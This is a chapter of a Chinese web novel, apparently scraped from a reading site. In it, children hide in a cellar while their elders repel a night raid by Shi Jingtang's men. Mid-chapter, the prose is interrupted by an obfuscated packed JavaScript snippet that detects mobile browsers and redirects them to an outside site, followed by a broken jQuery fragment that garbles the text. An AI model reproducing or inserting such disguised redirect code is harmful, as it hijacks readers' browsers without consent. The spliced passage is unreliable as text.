默认冷灰
24号文字
方正启体

48. 守

作者:申澈的澈本书字数:K更新时间:
    第四天了


    阿钝早上起来的时候,先在门口站了一会儿。往北边看。什么也没有。天是灰的,地是灰的,远处那几棵树也是灰的。


    狗子走出来,站在他旁边。


    “阿钝哥,看什么?”


    阿钝没说话。


    狗子也往北边看。看了半天,什么也没看见。


    “有吗?”他问。


    阿钝摇了摇头。


    狗子点了点头。他也没问“那你看什么”,就站在那儿,陪着。


    石头也出来了,站在狗子旁边。三个人站成一排,看着北边。


    阿箬从院子里走过,看了他们一眼。没说话,走过去了。


    ---


    吃早饭的时候,李默把所有人叫到一起。


    周老倔,陈小锤,孙二,阿箬,阿钝,狗子,石头,还有那十七个孩子。最小的才七岁,坐在最前面,眼睛眨巴眨巴地看着李默。


    李默站在他们面前,看了一圈。


    “这几天,”他说,“可能会有人来。”


    没人说话。


    “来的可能不是好人。”他说,“是来抢东西的,是来杀人的。”


    最小的那个孩子往后退了一步,缩到旁边的孩子后面。


    李默看见了。他蹲下来,平视着那些孩子。


    “所以咱们得准备。”他说,“准备好,就不用怕。”


    他指着阿钝。


    “阿钝,你来说。”


    阿钝愣了一下。他没想到李默会让他说。


    但他还是站出来了。


    他站在那些孩子面前,看着他们的眼睛。有的眼睛里有怕,有的眼睛里什么也没有——那是还没反应过来。


    他想起了自己刚来的时候。


    “我教你们。”他说,“怎么躲,怎么跑,怎么不出声。”


    ---


    阿钝把那些孩子分成三拨。


    大的五个,跟着他,守在院子里。


    中的八个,跟着狗子,躲在地窖里。狗子负责管他们,不许出声,不许乱跑。


    小的四个,跟着石头,也躲在地窖里。但石头还多一个任务——记东西。


    石头问:“记什么?”


    阿钝想了想。


    “记这几天的事。”他说,“记谁来过,记谁说过什么,记谁死了,记谁活了。”


    石头看着他。


    “万一,”阿钝说,“万一我们没活下来,你得记住。”


    石头没说话。


    他低下头,看着自己的手。手里还攥着那块幽州的石头。


    然后他点了点头。


    “我记。”


    ---


    狗子带着那八个孩子,先去地窖里待了一会儿。


    地窖是前几天刚挖的,在柴房后面。口子很小,只够一个人钻进去。里面挖大了,能蹲十来个人。墙角堆着粮食和水,还有几床旧被子。


    狗子钻进去,蹲在最里面。那八个孩子跟着钻进来,挤成一团。


    黑,潮,有股土腥味。


    一个孩子问:“狗子哥,要待多久?”


    狗子说:“不知道。”


    另一个孩子问:“外面会打起来吗?”


    狗子说:“不知道。”


    第三个孩子问:“那咱们干什么?”


    狗子想了想。


    “等着。”他说,“等阿钝哥来叫咱们。”


    孩子们不问了。


    他们就挤在那儿,听着外面的声音。什么也听不见。只有自己的心跳声,咚咚咚的。


    狗子抱着那个空包袱。包袱里什么也没有,但他还是抱着。


    他忽然想起他妹妹。


    她埋在那棵树下面。如果外面真打起来,那棵树会不会被打坏?她会不会疼?


    他不知道。


    但他想,应该不会。树比她疼。她已经是骨头了,骨头不会疼。


    他闭上眼睛。


    ---


    石头带着那四个小的,也在地窖里。但他在最外面,靠着洞口。


    他从怀里摸出一个本子。


    本子是陈小锤给他的,只有巴掌大,纸很糙,边角卷起来。他找孙二要了一截炭笔,比小拇指还短,捏在手里刚刚好。


    他开始写字。


    写得很慢,一笔一划。


    **第四天。阿钝哥让我记东西。**


    他停了一下,想了想,又写:


    **狗子哥在地窖里。石头在地窖里。阿钝哥在外面。师父也在外面。阿箬姐也在外面。**


    他又停了一下。


    **外面会来坏人。坏人会杀人。我们躲着。**


    他写完了,把本子合上,揣回怀里。


    那四个小的看着他,不敢出声。


    石头也没说话。


    他就坐在那儿,攥着那块石头,听着外面的声音。


    ---


    阿钝站在院子里,看着那台机器。


    机器还在转。飞轮转,活塞动,管子冒气。和平时一样。


    他伸出手,摸了摸那个飞轮。烫的,和平时一样。


    他想起师父说的话。


    “机器不会死。人会死。机器能干活,人就能少干活。少干活,就能少死。”


    现在机器还在干活。人会不会死?


    他不知道。


    阿箬走过来,站在他旁边。


    “想什么?”


    阿钝想了想。


    “想那台机器。”他说,“它什么都不知道。”


    阿箬看着那台机器。


    “它不用知道。”她说,“它转着就行。”


    阿钝转过头,看着她。


    “阿箬姐,你怕吗?”


    阿箬没说话。


    她看着北边的方向。


    “怕过。”她说,“早就不怕了。”


    阿钝问:“什么时候不怕的?”


    阿箬想了想。


    “第一次杀人的时候。”她说,“杀完发现,活着还是死了,就那么回事。”


    阿钝愣住了。


    阿箬转过头,看着他。


    “你别学我。”她说,“你得怕。怕才能活。”


    ---


    傍晚的时候,孙二从外面回来。


    他换了条路,绕了一大圈。脸色很难看。


    李默在门口等他。


    “怎么样?”


    孙二压低声音。


    “城外有人。”他说,“十几个人,骑着马,在官道上来回转。”


    李默没说话。


    孙二继续说:


    “穿的百姓衣服,但看骑马的姿势,是当过兵的。”


    李默点了点头。


    “多远?”


    “二十里。”孙二说,“往北的方向。”


    李默看着北边。天快黑了,那边的天更灰,什么也看不见。


    “今晚。”他说。


    孙二愣了一下。


    “今晚就会来?”


    李默没回答。


    但他转过身,看着阿钝。


    “阿钝。”


    阿钝走过来。


    “师父。”


    李默看着他。


    “今晚,”他说,“你带着狗子和石头,躲地窖里去。”


    阿钝愣住了。


    “师父,我——”


    “听我说。”李默打断他。


    阿钝不说话了。


    李默看着他。


    “你们活着,将作监就还在。”他说,“你们死了,就什么都没了。”


    阿钝站在那里,看着李默。


    他想说“我不躲”。但他说不出来。


    因为李默的眼睛里,有他没见过的东西。


    不是怕。是别的什么。


    “师父。”他说。


    “嗯。”


    “你呢?”


    李默没回答。


    他伸出手,在阿钝头上按了一下。


    “去吧。”


    ---


    那天夜里,月亮没出来。


    天很黑,黑得伸手不见五指。风很大,刮得棚子上的稻草沙沙响。那台机器的声音比平时响,像是知道什么,喘得更重了。


    阿钝蹲在地窖口,没下去。


    狗子在他旁边,也没下去。


    石头在最里面,守着那四个小的。他们睡着了,不知道外面要发生什么。


    阿钝小声说:“你怎么还不下去?”


    狗子小声说:“你呢?”


    阿钝没说话。


    狗子也没说话。


    两个人蹲在那儿,听着外面的风声。


    忽然,远处传来马蹄声。


    很轻,很远。但阿钝听见了。


    他的手攥紧了。


    狗子也听见了。他的手攥紧了那个空包袱。


    马蹄声越来越近。越来越近。


    然后停了。


    阿钝的心跳得很快。他屏住呼吸,听着外面的动静。


    什么也听不见。


    忽然——


    “砰!”


    是门被踹开的声音。


    阿钝的身子抖了一下。


    然后他听见喊声,听见脚步声,听见刀剑相撞的声音。


    他想冲出去。


    狗子一把抓住他的胳膊。


    “阿钝哥!”


    阿钝看着狗子。狗子的眼睛在黑暗里亮得吓人。


    阿钝没动。


    他就蹲在那儿,听着外面的声音。


    喊声,刀声,惨叫声。


    有人在喊“守住”。


    是阿箬姐的声音。


    有人在喊“别让他们进去”。


    是师父的声音。


    然后是一声巨响。


    “轰——”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401636|200419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>阿钝不知道那是什么。但整个地窖都震了一下,土从顶上簌簌往下掉。


    石头在里面闷闷地“啊”了一声。


    阿钝回头看了一眼。石头捂着头,没喊出来。那四个小的醒了,挤成一团,不敢出声。


    阿钝转回头,继续听。


    外面安静了。


    很静。静得可怕。


    阿钝不知道过了多久。也许是一刻,也许是一个时辰。


    然后他听见脚步声。


    一步一步,往地窖这边走。


    阿钝的手攥紧了。他什么武器都没有。只有一只手,和身边一个狗子。


    脚步声越来越近。


    然后停了。


    一个声音从上面传来。


    “阿钝?”


    是阿箬姐的声音。


    阿钝的眼泪一下子涌出来。


    他爬出去,看见阿箬站在那儿,手里拿着刀,刀上全是血。


    她身上也有血。不知道是自己的还是别人的。


    她看着阿钝,说:


    “没事了。”


    ---


    阿钝爬出来,站在院子里。


    他看见李默站在那台机器旁边,身上也有血。他站着,看着机器,一动不动。


    他看见地上躺着几个人。不是将作监的人。是陌生人。穿着百姓的衣服,但手里拿着刀。


    他看见周老倔坐在地上,靠着墙,喘着气。他那只好的手捂着肩膀,血从指缝里渗出来。


    他看见陈小锤蹲在墙角,左手拿着那个小本子,本子上有血。他低着头,不知道在想什么。


    他看见孙二从屋里走出来,手里拿着账本。账本上也有血。他看着那些血,愣在那儿。


    他看见阿箬走过来,站在李默旁边。两个人站在一起,看着那些死人,看着那台机器。


    他看见——


    狗子也爬出来了。站在他旁边。石头也爬出来了。站在狗子旁边。


    四个人站在院子里,谁都没说话。


    风吹过来,带着血腥味。


    那台机器还在转。


    飞轮转,活塞动,管子冒气。


    和平时一样。


    ---


    李默转过身,看着阿钝。


    “没事了。”他说。


    阿钝点了点头。


    他发现自己还在抖。


    狗子也还在抖。


    石头没抖。石头站在那儿,手里还攥着那块石头。他看着那些死人,眼睛眨都没眨。


    阿钝问:“师父,他们是谁?”


    李默沉默了一会儿。


    “河东来的。”他说,“石敬瑭的人。”


    阿钝想起那个人油灯的煤矿。想起那个用看牲口的眼神打量他们的人。


    他还是那样。


    阿箬走过来,站在阿钝面前。


    她看着他。


    “你刚才没出来。”


    阿钝点了点头。


    阿箬伸出手,在他头上按了一下。


    和她平时按狗子的方式一样。


    “做得好。”她说。


    ---


    那天夜里,他们收拾那些尸体。


    拉到城外,挖坑埋了。没人问叫什么名字,没人问家里还有什么人。


    他们只是尸体。会烂,会变成骨头,会没人记得。


    但阿钝记得。


    他看着那些被拖走的尸体,在心里数了数。


    七个。


    七个来杀人的人。死了。


    他不知道自己该不该高兴。


    李默走过来,站在他旁边。


    “阿钝。”


    “师父。”


    李默看着那些被拖走的尸体。


    “这些人,”他说,“也是被人派来的。”


    阿钝点了点头。


    “他们可能也有家人。”李默说,“可能也有孩子在等着回去。”


    阿钝没说话。


    李默转过头,看着他。


    “记住。”他说,“但别想太多。”


    阿钝看着他。


    李默说:“想太多,就活不下去。”


    ---


    远处传来火车的汽笛声。


    呜——


    很长,很远。


    那是夜里的最后一趟车,从幽州开往汴梁。


    阿钝抬起头,往北边看了一眼。


    什么也没有。只有黑漆漆的天,和看不见的远方。


    但他知道,那边有一个人。


    那个人说夏天回来。


    那个人说“可能还会来”。


    火车开过来了。


    今夜,他们守住了。


    但下一次呢?


    他不知道。


    他只知道,他还活着。狗子还活着。石头还活着。师父还活着。阿箬姐还活着。


    那就够了。


    ---
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)